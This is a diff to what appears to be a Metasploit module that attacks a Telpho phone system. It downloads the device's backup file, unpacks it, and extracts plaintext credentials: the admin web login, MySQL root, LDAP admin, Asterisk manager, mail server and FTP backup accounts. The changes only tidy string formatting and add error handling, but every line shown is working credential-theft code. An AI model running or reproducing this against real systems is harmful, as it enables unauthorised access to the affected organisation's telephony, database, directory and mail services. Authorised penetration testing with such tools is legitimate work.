@@ -67,38 +67,37 @@ def dump_creds(mysql_file)
67
67
end
68
68
file . close
69
69
70
-
71
70
print_status ( 'Login (/telpho/login.php)' )
72
71
print_status ( '-------------------------' )
73
- print_good ( ' Username: ' + config . first [ /adminusername\' ,\' (.*?)\' / , 1 ] )
74
- print_good ( ' Password: ' + config . first [ /adminpassword\' ,\' (.*?)\' / , 1 ] + " \n ")
72
+ print_good ( " Username: #{ config . first [ /adminusername\' ,\' (.*?)\' / , 1 ] } " )
73
+ print_good ( " Password: #{ config . first [ /adminpassword\' ,\' (.*?)\' / , 1 ] } \n ")
75
74
76
75
print_status ( 'MySQL (/phpmyadmin)' )
77
76
print_status ( '-------------------' )
78
77
print_good ( 'Username: root' )
79
- print_good ( ' Password: ' + config . first [ /dbpassword\' ,\' (.*?)\' / , 1 ] + " \n ")
78
+ print_good ( " Password: #{ config . first [ /dbpassword\' ,\' (.*?)\' / , 1 ] } \n ")
80
79
81
80
print_status ( 'LDAP (/phpldapadmin)' )
82
81
print_status ( '--------------------' )
83
- print_good ( 'Username: ' + ' cn=admin,dc=localdomain')
84
- print_good ( ' Password: ' + config . first [ /ldappassword\' ,\' (.*?)\' / , 1 ] + " \n ")
82
+ print_good ( 'Username: cn=admin,dc=localdomain' )
83
+ print_good ( " Password: #{ config . first [ /ldappassword\' ,\' (.*?)\' / , 1 ] } \n ")
85
84
86
85
print_status ( 'Asterisk MI (port 5038)' )
87
86
print_status ( '-----------------------' )
88
- print_good ( ' Username: ' + config . first [ /manageruser\' ,\' (.*?)\' / , 1 ] )
89
- print_good ( ' Password: ' + config . first [ /managersecret\' ,\' (.*?)\' / , 1 ] + " \n ")
87
+ print_good ( " Username: #{ config . first [ /manageruser\' ,\' (.*?)\' / , 1 ] } " )
88
+ print_good ( " Password: #{ config . first [ /managersecret\' ,\' (.*?)\' / , 1 ] } \n ")
90
89
91
90
print_status ( 'Mail configuration' )
92
91
print_status ( '------------------' )
93
- print_good ( ' Mailserver: ' + config . first [ /ipsmarthost\' ,\' (.*?)\' / , 1 ] )
94
- print_good ( ' Username: ' + config . first [ /mailusername\' ,\' (.*?)\' / , 1 ] )
95
- print_good ( ' Password: ' + config . first [ /mailpassword\' ,\' (.*?)\' / , 1 ] )
96
- print_good ( ' Mail from: ' + config . first [ /mailfrom\' ,\' (.*?)\' / , 1 ] + " \n ")
92
+ print_good ( " Mailserver: #{ config . first [ /ipsmarthost\' ,\' (.*?)\' / , 1 ] } " )
93
+ print_good ( " Username: #{ config . first [ /mailusername\' ,\' (.*?)\' / , 1 ] } " )
94
+ print_good ( " Password: #{ config . first [ /mailpassword\' ,\' (.*?)\' / , 1 ] } " )
95
+ print_good ( " Mail from: #{ config . first [ /mailfrom\' ,\' (.*?)\' / , 1 ] } \n ")
97
96
98
97
print_status ( 'Online Backup' )
99
98
print_status ( '-------------' )
100
- print_good ( ' ID: ' + config . first [ /ftpbackupid\' ,\' (.*?)\' / , 1 ] )
101
- print_good ( ' Password: ' + config . first [ /ftpbackuppw\' ,\' (.*?)\' / , 1 ] + " \n ")
99
+ print_good ( " ID: #{ config . first [ /ftpbackupid\' ,\' (.*?)\' / , 1 ] } " )
100
+ print_good ( " Password: #{ config . first [ /ftpbackuppw\' ,\' (.*?)\' / , 1 ] } \n ")
102
101
103
102
end
104
103
@@ -135,13 +134,22 @@ def run
135
134
)
136
135
print_good ( "File saved in: #{ path } " )
137
136
138
- extracted = untar ( "#{ path } " )
139
- mysql = untar ( "#{ extracted } /mysql.tar" )
140
-
141
- print_status ( 'Dumping credentials' + "\n " )
142
- dump_creds ( "#{ mysql } /mysql.epb" )
137
+ begin
138
+ extracted = untar ( "#{ path } " )
139
+ mysql = untar ( "#{ extracted } /mysql.tar" )
140
+ rescue
141
+ print_error ( 'Could not unpack files.' )
142
+ return nil
143
+ end
144
+ begin
145
+ print_status ( "Dumping credentials\n " )
146
+ dump_creds ( "#{ mysql } /mysql.epb" )
147
+ rescue
148
+ print_error ( 'Could not find credential file.' )
149
+ return nil
150
+ end
143
151
else
144
- print_error ( 'Failed to download file.' )
152
+ print_error ( 'Failed to download backup file.' )
145
153
return nil
146
154
end
147
155
rescue ::Rex ::ConnectionError
0 commit comments